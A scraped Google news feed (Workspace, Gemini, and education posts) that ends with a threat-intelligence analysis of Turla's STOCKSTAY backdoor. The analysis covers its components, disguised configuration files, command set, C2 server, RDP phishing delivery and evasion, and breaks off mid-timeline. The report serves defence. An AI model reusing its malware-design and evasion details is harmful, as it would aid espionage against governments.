Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.

Learn how to build it.
Elevate your applications with Firestore’s new advanced query engine
We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.

Learn more about Firestore pipeline operations.

Here's how Gemini can help you avoid jetlag.

2026-06-26T16:00:00+00:00

If you’ve got a faraway trip coming up, the Gemini app can help you avoid jetlag so you can make the most of your visit.Once you’ve given Gemini permission to access you…

Here's how Gemini can help you avoid jetlag.

2026-06-26T16:00:00+00:00

If you’ve got a faraway trip coming up, the Gemini app can help you avoid jetlag so you can make the most of your visit.Once you’ve given Gemini permission to access you…

Streamline your data backups with incremental exports for Google Workspace

2026-06-26T15:00:46+00:00

Key benefits include faster completion times, reduced Google Cloud Storage consumption and costs, and the ability to establish more frequent backup schedules to mitigate the risk of potential data loss.

Specifically, admins can schedule automated exports for Gmail, Drive, and Chat, with the flexibility to scope data by organizational unit (OU), group, or specific users. They can initiate:

Periodic full backups - establishing a baseline snapshot through regular full exports

Quarterly (every 3 months)
Semi-annually (every 6 months)
Annually (every year)

Frequent incremental backups - supplementing the baseline with frequent incremental backups, such as backing up data from the "last x days" every "y days"

Capture data from the last 5 days, running every 3 days
Capture data from the last 7 days, running every 5 days

Getting started

Admins: Super Admins: Visit the Help Center to learn more about exporting your organization’s data and incremental exports.
End users: There is no end user impact or action required.

Rollout pace

Rapid Release and Scheduled Release domains: Extended rollout (potentially longer than 15 days for feature visibility) starting on June 24, 2026

Availability

Enterprise: Enterprise Plus customers with Assured Controls and Assured Controls Plus

Resources

Google Workspace Admin Help: Set up an incremental data export
Google Workspace Admin Help: Export all your organization's data

Streamline your data backups with incremental exports for Google Workspace

2026-06-26T15:00:46+00:00

Specifically, admins can schedule automated exports for Gmail, Drive, and Chat, with the flexibility to scope data by organizational unit (OU), group, or specific users. They can initiate:

Periodic full backups - establishing a baseline snapshot through regular full exports

Quarterly (every 3 months)
Semi-annually (every 6 months)
Annually (every year)

Frequent incremental backups - supplementing the baseline with frequent incremental backups, such as backing up data from the "last x days" every "y days"

Capture data from the last 5 days, running every 3 days
Capture data from the last 7 days, running every 5 days

Getting started

Admins: Super Admins: Visit the Help Center to learn more about exporting your organization’s data and incremental exports.
End users: There is no end user impact or action required.

Rollout pace

Rapid Release and Scheduled Release domains: Extended rollout (potentially longer than 15 days for feature visibility) starting on June 24, 2026

Availability

Enterprise: Enterprise Plus customers with Assured Controls and Assured Controls Plus

Resources

Google Workspace Admin Help: Set up an incremental data export
Google Workspace Admin Help: Export all your organization's data

Cloud Release Notes — June 26, 2026

2026-06-26T07:00:00+00:00

Compute Engine

Feature

Generally available: You can cancel a future reservation request in calendar mode to prevent Compute Engine from provisioning your requested resources and incurring unnecessary charges. For more information, see Delete a future reservation request in calendar mode.

Feature

Generally available: In a managed instance group (MIG), you can use a health check to monitor your application health without triggering repairs for an unhealthy VM, if the application fails the health check. You can prevent the MIG from repairing an unhealthy VM by turning off autohealing. For more information, see Turn off repairs in a MIG.

Investing in Ukraine’s AI leadership and economic future

2026-06-25T17:40:00+00:00

Google.org is providing a $5 million grant to scale Obrii, Ukraine’s national AI job platform. This contributes to Ukraine's AI adoption, following sustained investment …

Investing in Ukraine’s AI leadership and economic future

2026-06-25T17:40:00+00:00

Google.org is providing a $5 million grant to scale Obrii, Ukraine’s national AI job platform. This contributes to Ukraine's AI adoption, following sustained investment …

Najnowsze aktualizacje usługi Google Finance i nowa aplikacja

2026-06-25T17:00:00+00:00

Nowe aktualizacje w Google Finance

Building AI tailored for education, with educators in the lead

2026-06-25T17:00:00+00:00

A graphic featuring the Gemini logo surrounded by icons representing educational tools, including Guided Learning, Study Notebooks, and NotebookLM, set against a background featuring a security shield and classroom imagery.

5 ways Google parents are using Gemini

2026-06-25T17:00:00+00:00

Colorful illustration of two happy parents with a smiling child and toddler.

Try these 3 Google AI tools to help find your next job.

2026-06-25T17:00:00+00:00

Use Google AI tools — like Career Dreamer, NotebookLM and Gemini Live — for resumes, cover letters, interview prep and more.

5 ways Google parents are using Gemini

2026-06-25T17:00:00+00:00

Colorful illustration of two happy parents with a smiling child and toddler.

Najnowsze aktualizacje usługi Google Finance i nowa aplikacja

2026-06-25T17:00:00+00:00

Nowe aktualizacje w Google Finance

Building AI tailored for education, with educators in the lead

2026-06-25T17:00:00+00:00

Try these 3 Google AI tools to help find your next job.

2026-06-25T17:00:00+00:00

Job hunting can be a slog. But with a few Google AI tools, you can simplify the process from start to finish.Career Dreamer: The first step in landing a job is finding o…

Read Along in Google Classroom is now available to all education users to support foundational literacy

2026-06-25T16:58:19+00:00

Read Along in Google Classroom, an AI-powered literacy tool that provides in-the-moment support to students as they read aloud, is now available to all Google Workspace for Education users at no cost. We believe this will open access to literacy tools for millions of students, and help educators and education leaders achieve better learning outcomes and progress on foundational literacy.

Read Along is designed to build students' speaking, listening, and decoding skills. It offers flexible learning modes, allowing students to practice aloud with real-time feedback, listen to stories, or enjoy books independently. To help emerging students transition from simply "learning to read" to "reading to learn," Read Along includes questions directly in the material to continuously strengthen comprehension as well as decoding support through word-breakdown.

Educators can use Read Along in Google Classroom to provide personalized reading practice for every student. The insights dashboard showing individual student and class-wide progress can help inform instruction and make it easier to create tailored reading activities based on student needs.

With this update, all Google Workspace for Education users will have access to:

A tailored reading experience in Google Classroom: Educators can easily create interactive reading activities right within Classroom, giving students in-the-moment support while getting actionable insights related to their reading skills.
Real-time reading support: Learners get help with pronunciation as they read aloud and get word breakdown support.
Class and student insights to inform instruction: View information on accuracy, speed, comprehension, phonics skills, and progress for individual students and the entire class.
An extensive content library: Choose from over hundreds of books across eight languages: English, Spanish, Portuguese, Urdu, Arabic, Thai, Indonesian, and Malay. This includes content such as Heggerty decodables, ReadWorks articles for higher-grade learners, and localized publisher titles like Turma da Mônica in Brazil.
Multilingual support: For students learning English, the reading buddy can provide real-time support in both English and their native language so they can practice their vocabulary. Native language support is available in Spanish, Portuguese, Urdu, Arabic, Indonesian, and Malay.
Story creation with Gemini: With help from Gemini, educators can create differentiated reading activities tailored to phonics skills needing practice, specific topics, and reading levels.
Existing content: Add existing class content to better tailor real-time student support and insights with Read Along.

Advanced analytics, like viewing student’s progress over time or across assignments and the ability to extract data via BigQuery, are only available with Education Plus and Teaching & Learning add-on.

Getting started

Admins: If you became a Google Workspace for Education customer on or after July 7, 2024, Read Along will be ON by default. If you became a Google Workspace for Education customer before July 7, 2024, you’ll need to enabled Read Along in the Admin console. Read Along can be disabled at the domain and OU level. It can be enabled at the group level even if it is disabled at the OU level. Visit the Help Center to learn more about turning Read Along on or off for users.
End users: Visit the Help Center to learn more about Read Along in Classroom.

Rollout pace

Rapid Release and Scheduled Release domains: Rolling out now, with expected completion by July 3, 2026

Availability

Education: Education Fundamentals, Standard, and Plus
Education Add-ons: Google AI Pro for Education; Teaching and Learning; Endpoint Education
Other Editions: Nonprofits

Resources

Google Workspace Admin Help: Turn Read Along on or off for users
Google Classroom Help: Read Along in Google Classroom

Read Along in Google Classroom is now available to all education users to support foundational literacy

2026-06-25T16:58:19+00:00

With this update, all Google Workspace for Education users will have access to:

A tailored reading experience in Google Classroom: Educators can easily create interactive reading activities right within Classroom, giving students in-the-moment support while getting actionable insights related to their reading skills.
Real-time reading support: Learners get help with pronunciation as they read aloud and get word breakdown support.
Class and student insights to inform instruction: View information on accuracy, speed, comprehension, phonics skills, and progress for individual students and the entire class.
An extensive content library: Choose from over hundreds of books across eight languages: English, Spanish, Portuguese, Urdu, Arabic, Thai, Indonesian, and Malay. This includes content such as Heggerty decodables, ReadWorks articles for higher-grade learners, and localized publisher titles like Turma da Mônica in Brazil.
Multilingual support: For students learning English, the reading buddy can provide real-time support in both English and their native language so they can practice their vocabulary. Native language support is available in Spanish, Portuguese, Urdu, Arabic, Indonesian, and Malay.
Story creation with Gemini: With help from Gemini, educators can create differentiated reading activities tailored to phonics skills needing practice, specific topics, and reading levels.
Existing content: Add existing class content to better tailor real-time student support and insights with Read Along.

Getting started

Admins: Read Along will be available by default and can be disabled at the domain and OU level. It can be enabled at the group level even if it is disabled at the OU level. Visit the Help Center to learn more about turning Read Along on or off for users.
End users: Visit the Help Center to learn more about Read Along in Classroom.

Rollout pace

Rapid Release and Scheduled Release domains: Rolling out now, with expected completion by July 3, 2026

Availability

Education: Education Fundamentals, Standard, and Plus
Education Add-ons: Google AI Pro for Education; Teaching and Learning; Endpoint Education
Other Editions: Nonprofits

Resources

Google Workspace Admin Help: Turn Read Along on or off for users
Google Classroom Help: Read Along in Google Classroom

5 ways to learn with study notebooks in the Gemini app

2026-06-25T16:00:00+00:00

mp4 reading "Meet study notebooks in Gemini"

How a Kentucky school district is scaling writing feedback with Gemini

2026-06-25T16:00:00+00:00

An abstract illustration of the Gemini interface on a tablet, surrounded by colorful 3D icons including a graduation cap, stylized people, and a four-pointed star.

Google.org is funding three long-term partners on education and AI.

2026-06-25T16:00:00+00:00

a person in a classroom

Elevate your campaign performance with June’s Demand Gen Drop.

2026-06-25T16:00:00+00:00

Our June Demand Gen Drop offers more ways to elevate campaign performance and engage new viewers on YouTube.

ISTE 2026: Supporting teaching and learning with connected AI tools

2026-06-25T16:00:00+00:00

The latest announcements from Google for Education at ISTE 2026.

Our latest Google Finance upgrades, including a new app

2026-06-25T16:00:00+00:00

The Google Finance logo, surrounded by elements of the user interface

Our latest Google Finance upgrades, including a new app

2026-06-25T16:00:00+00:00

The Google Finance logo, surrounded by elements of the user interface

5 ways to learn with study notebooks in the Gemini app

2026-06-25T16:00:00+00:00

mp4 reading "Meet study notebooks in Gemini"

How a Kentucky school district is scaling writing feedback with Gemini

2026-06-25T16:00:00+00:00

An abstract illustration of the Gemini interface on a tablet, surrounded by colorful 3D icons including a graduation cap, stylized people, and a four-pointed star.

Google.org is funding three long-term partners on education and AI.

2026-06-25T16:00:00+00:00

We are announcing new funding at the 2026 ISTE conference to support two long-term partners.

Elevate your campaign performance with June’s Demand Gen Drop.

2026-06-25T16:00:00+00:00

Our June Demand Gen Drop offers more ways to elevate campaign performance and engage new viewers on YouTube.

ISTE 2026: Supporting teaching and learning with connected AI tools

2026-06-25T16:00:00+00:00

The latest announcements from Google for Education at ISTE 2026.

Jack Henry and Google Cloud Expand Collaboration to Deliver AI-Driven Security for Banks and Credit Unions

2026-06-25T15:30:00+00:00

Jack Henry and Google Cloud Expand Collaboration to Deliver AI-Driven Security for Banks and Credit Unions

2026-06-25T15:30:00+00:00

STOCKSTAY Another Day: The Latest Addition to Turla’s Intelligence Gathering Apparatus

2026-06-25T14:00:00+00:00

Written by: Jordan Jones

Introduction

Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-0194) since at least December 2022. Turla has deployed STOCKSTAY against government and military organizations in Ukraine, as well as entities with an interest in Italian foreign policy. Used for ongoing cyber espionage, this backdoor shares significant code and functional overlaps with KAZUAR, a successful toolkit previously attributed to Turla. The group has a long history of targeting a wide range of industries, with a particular focus on western Ministries of Foreign Affairs, and defense organizations within the context of heightened political tensions.

Turla, and specifically their longstanding Snake implant, has been publicly attributed by the United States Cybersecurity and Infrastructure Security Agency (CISA) to Center 16 of Russia’s Federal Security Service (FSB). Turla is one of the oldest known cyber espionage groups with suspected activity dating back to at least 2004. The actor remains active and continues to evolve its delivery methods, as demonstrated by its deployment of specialized scripts to intercept secure communications from Signal Messenger users, its hijacking of legacy criminal botnets to target Ukrainian organizations, and its recent campaigns targeting military defense sectors using the highly sophisticated KAZUAR toolkit. As part of our continued tracking of this group, this blog post provides an overview of our STOCKSTAY analysis, includes a timeline of key developmental and operational observations, and examines its similarities to KAZUAR to contextualize this new capability within Turla’s ever-growing arsenal.

STOCKSTAY Overview

STOCKSTAY is a multi-component backdoor written in .NET, using the Windows Forms framework, which communicates with its command and control (C2) via a secure WebSocket connection, utilizing the open-source websocket-sharp library. STOCKSTAY consists of several distinct components that communicate with one another via an inter-process communication (IPC) channel, based on the exchange of WM_COPYDATA messages.

STOCKSTAY was originally designed to masquerade as a stock market data viewing tool, incorporating this disguise in both its file naming scheme and its storage of implant configuration, control messages, and response data. While initial versions of the malware observed by GTIG retained the internal aspects of this disguise, in 2025 we identified variants of STOCKSTAY masquerading as other benign applications, such as PDF viewers and calculator utilities.

Figure 1: Overview of STOCKSTAY malware architecture

STOCKSTAY.STOCKBROKER

STOCKSTAY.STOCKBROKER is a proxy-aware tunneler which provides network communication capabilities to the wider STOCKSTAY ecosystem. STOCKSTAY.STOCKBROKER, internally referred to as "net", can be instructed to establish a secure WebSocket connection to a specified remote server, after which it acts as a relay between the server and the STOCKSTAY.STOCKMARKET orchestrator. As a result, all C2 communication between STOCKSTAY and the configured C2 server are handled by STOCKSTAY.STOCKBROKER, isolating the malware’s network communications from other malicious host-based activity on the infected machine.

STOCKSTAY.STOCKMARKET

STOCKSTAY.STOCKMARKET, internally referred to as “cor”, is the orchestrator of the STOCKSTAY ecosystem, and enables the implant’s configurability. The malware’s configuration is loaded from an encrypted on-disk configuration file which specifies several options regarding the malware’s execution, including the details of the remote WebSocket server required by STOCKSTAY.STOCKBROKER. The configuration file attempts to disguise itself as a legitimate file by including various legitimate URLs associated with cryptocurrency markets, as well as falsified descriptions of each configuration field (Figure 2). Encrypted configuration data is embedded within the decoy fields, which is decrypted by STOCKSTAY.STOCKMARKET.

{
  "Name": "StockMarket",
  "Description": "An application for getting information about current events on trading platforms. To set the time for updating information, enter a value in minutes in the `Interval` field. In the future, support for themes will be added. The `SystemConfiguration` field stores the system settings of the application. In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`.",
  "Theme": "Dark",
  "SystemConfiguration": [
    "1D.AA.79.9F.45.AA.04.B3.<snipped>.68.0A.5D.A3.E6.A3.82.FA",
    "6F.41.4D.6D.C3.20.E5.32.<snipped>.00.B8.26.DF.E1.13.0A.21",
    "4.4.3.12"
  ],
  "Interval": 10,
  "Services": [
    "wss://ws-api.binance.com:443/ws-api/v3",
    "wss://ws-feed.exchange.coinbase.com",
    "wss://ws-feed-public.sandbox.exchange.coinbase.com",
    "wss://stream.bybit.com/v5/public/spot",
    "wss://stream.bybit.com/v5/public/linear"
  ],
  "Version": "2022-12-21"
}

Figure 2: Encrypted STOCKSTAY configuration file format, falsely describing itself as an application for trading information

{
  "internal_id": "<server_identifier>",
  "internal_key": "<server_public_key>",
  "interval_engine": "600000",
  "level_info": "0",
  "time_scale": "1",
  "span_min": "9",
  "span_max": "18",
  "rate": "2700",
  "rate_control": "false",
  "service": "<websocket_c2_url>",
  "days_not_work": "Saturday;Sunday;",
  "system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}

Figure 3: Decrypted STOCKSTAY configuration file format (extracted from SystemConfiguration field)

STOCKSTAY.STOCKMARKET communicates with STOCKSTAY.STOCKBROKER in order to provide details of the WebSocket server, and to subsequently send and receive messages via the established WebSocket connection, usually containing the results of executed commands. STOCKSTAY.STOCKMARKET also communicates with the STOCKSTAY.STOCKTRADER component in order to issue commands to be executed on the infected host.

On first execution, STOCKSTAY.STOCKMARKET generates a unique 4096-bit RSA key pair, to be used throughout the implant’s lifecycle to encrypt outbound data prior to being sent via WebSocket. The implant’s public key is sent to the server in the malware’s first request, to enable the server to decrypt task responses. STOCKSTAY.STOCKMARKET also generates a unique infection identifier to be used by the C2 server to determine the intended receiver of tasking. STOCKSTAY’s configuration file specifies an “internal_id” field, which GTIG assesses represents an identifier for the server-side component of the malware ecosystem. We assess that this identifier is used by the malware’s operators to retrieve responses from interim C2 servers which may be used by multiple operators. To date, GTIG has observed only a single unique value for this identifier and is unable to determine whether multiple operators are leveraging STOCKSTAY at this time due to insufficient telemetry.

STOCKSTAY.STOCKTRADER

STOCKSTAY.STOCKTRADER, internally referred to as “sys”, is the backdoor component of the STOCKSTAY ecosystem, and supports a range of registry, file, and command execution operations on the infected host, as detailed in Table 1.

Task Command Name	Description
`Del`	Delete the specified files. Requires a semi-colon-separated list of file paths, each of which will be deleted. Confirmation of each deleted file, or deletion failure, is returned to the C2.
`Dir`	Generate a listing of the specified directories. Requires a semi-colon-separated list of directory paths, each of which will be enumerated with the paths of all contained files and subdirectories being returned to the C2. Optionally performs recursive directory listing.
`Get`	Retrieve one or more specified files. Allows for collection of files with specific extensions. Requires a semi-colon-separated list of file or directory paths, and a list of target file extensions. If a file path is included in the list, this file will be returned. If instead a directory path is included in the list, the malware will perform an optionally recursive search of the directory to identify any files matching the target file extensions. All files matching either the specified file paths, or the target file extensions, will be added to an in-memory ZIP archive and subsequently base64-encoded for transmission to the C2.
`Image`	Perform a screen-capture of the victim’s screen. The resultant image is base64-encoded for transmission to the C2.
`MkDir`	Create one or more directories. Requires a semi-colon-separated list of directory paths, each of which will be created. Confirmation of each created directory, or any resultant error, is returned to the C2.
`MultyTask`	Process multiple tasks at once. Requires a semi-colon-separated list of tasks, each of which must be a serialized JSON object containing an individual task. Each task is submitted to the malware’s command-manager in-turn, with all command output being discarded; no data is returned to the C2 when processing multiple tasks at once.
`Put`	Upload a file to the device. Requires a base64-encoded string representation of the file content to be written to the specified filepath. The required file write operation is performed in “Append” mode. Confirmation of file upload, or details of any relevant error, is returned to the C2.
`RegDelete`	Delete a registry value. Requires a registry key and corresponding value name to delete.
`RegRead`	Read a registry value. Requires a registry key and corresponding value name to read.
`RegWrite`	Set a registry value. Requires a registry key and corresponding value name, as well as the value and data type used to populate the registry value.
`RmDir`	Delete the specified directories. Requires a semi-colon-separated list of directory paths, each of which will be deleted. Confirmation of each deleted directory, or deletion failure, is returned to the C2.
`Run`	Execute a new process. Requires a path to the file to execute and its corresponding arguments. A default timeout of 60 seconds is hard-coded into the malware, however this can be overridden by the task configuration. All subprocesses are created windowless with redirected stdout.
`Sysinfo`	Conduct a system survey to gather key information about the infected host. Operating system information is collected via the Windows Management Instrumentation (WMI) ManagementObjectSearcher, specifically the following fields: OSVersion Architecture SerialNumber CodeSet CountryCode Locale InstallDate BootupTime MachineName SystemDirectory LocalTime AnsiCodePage UserName With respect to hardware, WMI is queried for the following: ProcessorName NumberCores ClockSpeed MemoryCapacity MemoryType DiskModel DiskSize The malware also captures a list of the names of running processes.
`UnpackArchive`	Extract the specified ZIP file to its current directory.

Table 1: Backdoor commands supported by STOCKSTAY.STOCKTRADER

Related Downloaders and Installers

STOCKSTAY.MARKETMAKER

STOCKSTAY.MARKETMAKER is a proxy-aware downloader written in .NET using the Windows Forms framework that downloads and extracts additional payloads from a remote server, establishes persistence through Windows registry modifications, and runs silently in the background with no user interface. This downloader has been observed masquerading as "MicrosoftUpdateOneDrive" to appear legitimate while setting up multiple autorun entries to execute the core components of STOCKSTAY.

.NET AppDomainManager

During our analysis, GTIG identified what we believe to be an early development sample of STOCKSTAY.MARKETMAKER which, instead of downloading the required components, was dependent on external mechanisms (such as .NET AppDomainManager injection) for the initial deployment of samples to the target host.

STOCKSTAY Server-Side Controller

GTIG identified a publicly accessible GitHub repository containing a Python implementation of the victim-facing STOCKSTAY WebSocket server controller. The lightweight design of the server component appears to supplement the threat actor’s usage of third-party hosting platforms such as Render platform which provides a platform for hosting web services, including WebSockets. The inability for the server to decrypt inbound messages prevents introspection by platform operators, and further obfuscates the location of the threat actor’s dedicated infrastructure. This architecture somewhat resembles Turla’s multi-hop KAZUAR C2 infrastructure.

Figure 4: Overview of STOCKSTAY C2 Infrastructure

The server extends tornado.websocket.WebSocketHandler to provide the interface described in Table 2, under the path /ws; aligning with all observed STOCKSTAY WebSocket C2 URLs.

Event	Description
WebSocketHandler.check_origin	Hard-coded to return True to accept all cross-origin traffic.
WebSocketHandler.open	Logs the client’s IP address using the following string format: `WebSocket open. IP: {client_ip}`
WebSocketHandler.on_message	Handles inbound messages from the connected client. Inbound messages are base64-decoded before being parsed as JSON into an object internally known as a “package”. Each “package” contains an “action” and a “container”, which provide the request’s type and associated data, respectively. The following describes the handling logic of each action type. Action: send The server extracts the following attributes from the inbound message’s “container” and inserts them into a new row within the local `weather_data` database table. `container.target` The STOCKSTAY client populates this field with the `internal_id` or `i_id` field from the config file. `container.sender` The STOCKSTAY client populates this field with the unique client uuid generated on first execution. `container.message` This field contains the encrypted message body in a format referred to within the STOCKSTAY client as “CryptoContainer”. On completion, the server logs the following message: `Action: send; trgt={target_id}; sndr={sender_id}` Action: recv Inbound `recv` requests simply specify the `container.sender` attribute, which corresponds with the client’s unique identifier. The server then retrieves all messages from the `weather_data` database table where the target identifier (“degrees” column) matches the specified `container.sender`. This has the effect of allowing the client to retrieve all messages intended for it, such as those sent to the server by an upstream C2 controller. Each matching row is returned to the client in the following format, before being deleted from the database. `{ "target": degrees, "sender": pressure, "message": wdata, "ip": coords, "time": datetime }` On completion, the server logs the following message: `Action: recv; sndr={sender}`
WebSocketHandler.on_close	Logs the client’s IP address using the following string format: `WebSocket close. IP: {client_ip}`

Table 2: Overview of STOCKSTAY WebSocket Server Interface

Database Structure

The server maintains a local SQLite3 database under the filename weather_data1.db, structured as shown in Tables 3 and 4.

Column	Description
`id`	Primary key
`degrees`	Recipient's UUID from `container.target`
`pressure`	Sender's UUID from `container.sender`
`wdata`	Message data from `container.message`
`coords`	Sender's IP address, extracted from `X-Forwarded-For` header, or `none_ip` if no sender specified.
`status`	Defaults to 0 - doesn't appear to be used or returned to the client.
`datetime`	Time of row creation

Table 3: weather_data database table structure

Column	Description
`id`	Primary key
`data`	Log message
`datetime`	Time of creation

Table 4: log database table structure

Key Operational Characteristics

Consistent Use of Academic or Diplomatic Lure Content

The threat actor(s) involved in STOCKSTAY operations appear to have an affinity for integrating academia and diplomacy into their infrastructure and lure/decoy content, including:

compromising an email account belonging to a Ukrainian university to disseminate phishing emails;
using the names of an academic institution within the file name of a malicious RDP file;
compromising a diplomatic education platform for phishing and distribution of malicious RDP files;
using “education” and “diplo” within registered phishing domains; and
using “DiplomacyEduAI” as the product name within STOCKSTAY MSI files.

Persistent Ukrainian Targeting

A significant proportion of STOCKSTAY operations observed by GTIG have been targeted at Government or Military organizations within Ukraine, consistent with Russian interests in relation to the ongoing conflict between the two countries. The threat actor has been observed utilizing in-country compromised infrastructure, including compromised government services, to deploy both STOCKSTAY and a range of supplementary payloads, in support of these operations.

Suspected European Targeting

A smaller number of STOCKSTAY operations observed by GTIG appear to have been targeted at European entities. Early development samples of STOCKSTAY were identified in various European nations, including Italy, the Netherlands, Poland, and Germany; however, we have been largely unable to confirm the intended victims for the majority of these early infections, nor whether these samples were identified as a result of the threat actor testing their capabilities against publicly available virus scanning services such as VirusTotal. GTIG was able to identify, in at least one case, the targeting of entities associated with, or interested in, a foreign affairs ministry in Europe in relation to phishing and suspected STOCKSTAY activity.

Deployment via Malicious RDP Files

GTIG observed STOCKSTAY being deployed following successful phishing attempts using malicious RDP configuration files. The RDP files were designed to create a connection from the victim’s device to actor-controlled infrastructure, through which the actor could then deploy subsequent payloads.

In one operation in early 2025, GTIG identified a phishing email, claiming to be sent by a defense-related training academy, containing a malicious RDP file attachment. A short time following the victim’s connection to the actor’s infrastructure, the actor deployed STOCKSTAY.MARKETMAKER, a .NET downloader designed to retrieve and install the full STOCKSTAY suite on the victim’s device.

Later, in mid-2025, GTIG identified similar malicious RDP files being hosted on a compromised diplomatic-themed education platform, luring victims into downloading and executing the file under the guise of enabling access to an online training portal. GTIG was unable to confirm whether STOCKSTAY was ultimately deployed as a result of this operation; however, overlaps in the actor’s infrastructure and education-themed lures for both operations may suggest STOCKSTAY was the intended payload.

Deployments at Multiple Stages of Operations

Through GTIG’s visibility, we have identified that the threat actor uses STOCKSTAY at multiple distinct stages of their operations.

In the first instance, the threat actor uses STOCKSTAY during operations to gain initial access into environments which haven’t yet been subject to the group’s reconnaissance activities. In these instances, STOCKSTAY is configured with hard-coded configuration passwords, which can be trivially extracted by analysts. We observed this type of infection stemming from the group’s phishing operations, where the threat actor is unable to determine exactly where in the victim’s network they are going to gain their initial foothold.

When the threat actor deploys STOCKSTAY at a later stage of operation, following reconnaissance, STOCKSTAY is configured to incorporate environmental keying for its configuration, requiring the malware to be executed either on a specific host, by a specific user, within a specific domain, or a pre-determined combination of the these attributes. This configuration implies that, at this stage, the actor knows exactly which machine is being targeted, likely through existing accesses to the target environment. This was seen within Ukrainian networks where STOCKSTAY was deployed toward the end of an operation which had previously relied heavily on the group’s other tools, such as KAZUAR.

Overlaps with KAZUAR

K1MORPHER String Obfuscation

In April 2025, GTIG observed STOCKSTAY being updated to implement a new string obfuscation mechanism, based around an obscure pseudo-random number generation algorithm named “Squirrel3”, which was presented at Game Developers Conference 2017.

GTIG later identified versions of STOCKSTAY containing some of their original class-names, which showed the code responsible for runtime string deobfuscation being contained within a class named “K1.Morpher”. Analysis of K1MORPHER shows the ability to perform runtime deobfuscation of a range of datatypes, such as strings, integers, and arrays.

In June 2025 GTIG noticed K1MORPHER code appearing in samples of KAZUAR. KAZUAR has historically used its own simple but effective code and string obfuscation techniques to evade detection, such as: the insertion of junk code; replacing static constant values with the results of XOR operations; and large quantities of unique character substitution tables. The actor’s use of K1MORPHER within STOCKSTAY appears to be trending toward mimicking KAZUAR’s multi-class obfuscation techniques, where obfuscation is handled by multiple distinct classes, as observed in suspected test builds of STOCKSTAY hosted on a compromised Cypriot website in April 2024.

Implant Architecture

Since at least 2024, KAZUAR has been observed being deployed using a multi-component architecture, whereby C2 communication, task orchestration, and task execution are managed by separate components. Within the KAZUAR ecosystem, these components are referred to as “BRIDGE”, “KERNEL”, and “WORKER”, respectively.

As of late 2023, GTIG identified a similar separation of responsibilities within the STOCKSTAY ecosystem, with the same responsibilities being separated into distinct components. C2 communication is managed by the component tracked by GTIG as STOCKSTAY.STOCKBROKER, while task orchestration and execution are handled by STOCKSTAY.STOCKMARKET and STOCKSTAY.STOCKTRADER, respectively.

Environmental Keying

Both KAZUAR and STOCKSTAY ecosystems have been observed using environmental keying to protect themselves from detection and analysis.

DIAMONDBACK, a dropper often deployed prior to KAZUAR in the execution chain, has made use of a hash of the target’s hostname in decrypting its payload, to prevent divulgence of its intentions outside of the target environment. Later versions of DIAMONDBACK can be configured to incorporate the target’s username and domain name in the hash required to decrypt the payload.

STOCKSTAY has been observed using the hash of the target’s hostname or domain name during the decryption of its configuration data, preventing disclosure of C2 infrastructure unless operating in the intended environment.

Summary of Overlaps

GTIG assesses with moderate confidence that STOCKSTAY and KAZUAR may be developed in-part by a common developer or team, with active development occurring in tandem between the two malware ecosystems. We believe that STOCKSTAY is being developed in KAZUAR’s image, with several design decisions likely spawning from the threat actor’s wealth of experience in conducting operations using this long-standing toolkit. Both ecosystems rely heavily on .NET development, and have been observed using compromised WordPress sites during various stages of their operations.

We assess with low confidence that our observations of STOCKSTAY being deployed alongside KAZUAR during active operations may be a result of the threat actor seeking to test new capabilities in active operations, particularly where they may be expecting their existing access to be remediated in the near future.

STOCKSTAY Timeline

GTIG has conducted a thorough investigation into the history of STOCKSTAY, identifying suspected development activity as far back as December 2022. What follows is our assessment of the timeline of events surrounding STOCKSTAY’s development and deployment. To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) within each observed operation section, and in a GTI Collection for registered users.

Figure 5: Timeline of STOCKSTAY observations

December 2022

The version of the open-source websocket-sharp.dll bundled with the majority of observed STOCKSTAY.STOCKBROKER samples was last modified, according to timestamp information in MSI files and ZIP archives containing STOCKSTAY. Although built from an open-source library, this specific instance appears to have been compiled by the actor themselves, thus creating a uniquely identifiable artifact with which to track this malware’s continuous development.

Filename	Description	SHA-256
`websocket-sharp.dll`	Instance of open-source library used by the threat actor	`d1e54270433a94aa3d45d888e4c62299bee3480eb2cb4a5489c7dda69d476c3e`

Table 5: File indicators

September 21, 2023: Germany

An early version of STOCKSTAY was uploaded to VirusTotal from Germany, under the filename “DriversPrinterGraphic.rar”. From the archive’s timestamps, it appears as though the sample was submitted within 20 minutes of being created, likely indicating this was submitted by the malware’s developer.

This version predates the malware’s separation into distinct role-based components, instead incorporating all core functionality into a single executable: StockMarketNews.exe. Additionally, this version of STOCKSTAY contained the user interface shown in Figure 6, which enables viewing/editing of configuration options and command messages, while still presenting as a stock market utility.

Figure 6: Early STOCKSTAY user-interface

This particular STOCKSTAY sample uses a slightly different configuration file format; however, the underlying configuration options are consistent with later versions. This sample also utilizes environmental keying for its configuration file; using the lower-cased hostname of the intended target as the decryption password. GTIG has been unable to recover the password at this time.

Filename	Description	SHA-256
`DriversPrinterGraphic.rar`	RAR archive containing STOCKSTAY	`e6d8192960a89d5480868b94088cccdaa1560f9c8a0b0282ced2b7c1f72341b6`
`StockMarketNews.exe`	STOCKSTAY combined executable	`1fc23ec18a94a599a34c74ef5f49a1e27acd37a07d5846661702b5e7e81a6a24`
`sample.conf`	STOCKSTAY configuration file	`1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f`

Table 6: File indicators

December 5 – 6, 2023: Netherlands

